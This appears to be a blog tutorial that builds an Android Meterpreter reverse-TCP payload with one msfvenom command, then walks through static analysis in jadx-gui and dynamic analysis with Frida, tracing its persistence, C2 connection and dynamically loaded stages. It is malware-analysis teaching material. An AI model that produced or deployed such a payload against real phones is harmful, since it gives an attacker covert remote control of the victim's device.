MSFVenom is one of the most popular frameworks to create payloads, shellcodes, etc. I want to analyze a little bit of MSFVenom Android payload. So
🎬 Part 1 - Creating an Android payload with MSFVenom
Run your Kali Linux distribution (I use vagrant kalilinux/rolling box) and open a terminal.
# Installing Kali Linux Box
vagrant box add kalilinux/rolling
# Create a Kali Linux VM
mkdir -p /home/$USER/Desktop/vagrantmachines/kali
cd /home/$USER/Desktop/vagrantmachines/kali
vagrant init kalilinux/rolling
# Set Kali Network to Bridge
# Add below line into Vagrantfile file below config.vm.box = "kalilinux/rolling"
config.vm.network "public_network"
# Save and Exit from Vagrantfile
# Execute Kali Machine
vagrant up
# SSH to Kali Machine
vagrant ssh
# If you want to turn it off just execute the below command after you exit from SSH
vagrant halt
Simply execute the below command.
msfvenom -p android/meterpreter/reverse_tcp LHOST=$(ip addr show eth0 | grep -Po 'inet \K[\d.]+') LPORT=1337 > malicious.apk
-p
: choosing payloadLHOST
: listener IP address (C2)LPORT
: listener Port number (C2)> malicious.apk
: output of executed command (attacker payload)
After that, I copy malicious.apk to /vagrant
which let me access it from my computer.
cp malicious.apk /vagrant
🎬 Part 2 - Static Analysis with Jadx-Gui
Now I have malicious.apk besides Vagrantfile. Let’s start with static analysis. Open it with the jadx-gui. Let’s see what AndroidManifest.xml does have for us.
We have an activity called MainActivity
(package: com.metasploit.stage
) which is our first activity that’ll execute.
We can also see there is a BroadcastReceiver
with android.intent.action.BOOT_COMPLETED
action. It is obvious that this malware use this permission to execute itself after restarting mobile.
Let’s have a look at MainActivity
. It simply calls startService()
method from MainService
class.
MainService
class extended (inherited) from Service, so it’s a service that we are dealing with.
In this method again startService
function is called, but as we said we are in a service and it calls MainService.class
in Intent()
.
public static void startService(Context context) {
context.startService(new Intent(context, MainService.class));
}
So this time onStartCommand()
method will call. onStartCommand()
is called every time a client starts the service using startService(Intent intent)
.
This method, calls start()
from Payload
class. Now let’s go deeper and see what the start()
method does.
start()
function calls startInPath()
function, and startInPath()
function calls e().start()
that lead us to analyse that class and method.
There is nothing but execute the main()
method from the Payload
class again. We have to back to where we were and analyze the main()
function.
It’s a huge function that can’t even fit in one screenshot. We can see there is a Socket socket
which indicates we are dealing with a socket connection that’s probably attacker C2. Also there is a line contains a a2 = b.a(a);
. It passes a
variable to b.a()
method and save results in a2
. Left-click on the a
parameter and press d
on your keyboard (that is a shortcut to get you where the variable is declared).
It seems a huge array which i guess it can be an IP address or an URL. To make sure of this, I go to b.a()
method.
Again it’s a huge function, but this is obvious it decrypts that array. I don’t want to waste my time and try to understand that algorithm, I’ll deal with it in the dynamic analysis part. But we have to figure out where it stores the decrypted data. You can see gVar
everywhere in this function.
If you open the g
class, you can see there is nothing but a bunch of variables. Now I’m sure it stores the decrypted data in that class’s variables.
In the Payload.main()
, after that decryption method, we can see bunch of while(){}
, try{}
and if(){}
.
Take a look at where I pointed (ofc with a red arrow).
You can see we have a socket.getOutputStream()
there that passed to a()
. If you go to where a()
declared, you see there’s getClassLoader()
. This method let you load the Dex file dynamically. It uses to bypass AV, and it makes APK file size smaller.
Overall, this APK file connects to attacker C2 (MSFVenom) and downloads a Dex (or JAR) file, loads it and after that, it will be deleted. Now Let’s continue our journey in the dynamic analysis part.
🎬 Part 3 - Dynamic Analysis
For the first step of dynamic analysis, I want to extract the attacker’s C2 IP address. As we saw in the static analysis, the decrypted attacker IP address is in the g
class. Let’s dump data from that class. I use Android Studio to do this. But an important thing that is worth mentioning is “We have to do this quickly before anything happens and malware closes itself and runs itself as a service” because you saw it creates a service after execution. Make sure your USB Debugging is enabled.
But we have to do one thing more before debugging. We have to make this malicious APK debuggable. To do this as easily as possible, I do this with APKLab . The installation steps are explained in APKLab Github .
Now open the malicious APK file with APKLab, Then Right-click on apktool.yml
and Left-click on APKLab: Rebuild the APK
.
Make sure you check --debug
in the opened window.
The rebuilt APK output file is located in the dist
folder.
Use adb
to install the rebuilt APK file.
adb install rebuilt-malicious.apk
Now let’s analyze g
class memory. Open Android Studio and choose Profile or Debug APK.
Now instead of sending 10 images, I would rather make a GIF to show the process how to extract data from the g
class.
⚠️ GIF file size is around 6 Mb, Just in case of any problem you can download the GIF file with this GIF URL
via the wget
.
OK. We’ve successfully got the attacker’s C2 IP address. Now how we can dump that DEX which is loaded with DexClassLoader. As we know from static analysis, Malware deletes the DEX file after loading it. So we don’t have access to that anymore. We have to uninstall malware and install it again, but this time I hook the delete()
method from java.io.File
to disable its functionality.
Installing Frida
pip install frida-tools
Download the latest version of frida-server from here that is compatible with your mobile CPU architecture. Installing FridaServer in your mobile.
adb push frida-server-15.1.17-android-x86.xz /data/local/tmp
adb shell
Mobile #> cd /data/local/tmp
Mobile #> unxz frida-server-15.1.17-android-x86.xz
Mobile #> chmod +x frida-server-15.1.17-android-x86
Mobile #> ./frida-server-15.1.17-android-x86
Let’s write our hooking code (i named it hook.js) with Frida.
Java.perform(function(){
var filecls = Java.use("java.io.File");
filecls["delete"].overload().implementation = function(){console.log("delete() hooked!"); return true;}
});
Now uninstall com.metasploit.stage
package.
adb uninstall com.metasploit.stage
And install it again.
adb install rebuilded-malicious.apk
But this time you must use Frida to execute it.
frida -Uf com.metasploit.stage -l hook.js --no-pause
You can see File.delete()
hooked 4 times! Then use adb
to download DEX & JAR files that are downloaded.
I go to the files
folder, there is 4 files.
I open xz3z7c.jar
with jadx-gui
, It downloads met.jar
and met.dex
, then it loads com.metasploit.meterpreter.AndroidMeterpreter
. This class loaded from met
.
Let’s open met.jar
with jadx-gui
.
It contains a lot of files and functions. It also downloads and loads another JAR file. It’s beyond of scope to analyze it in just 1 post. :) Try yourself and have a look at it. Maybe later I wrote the analysis of this JAR file.
I hope you learned something.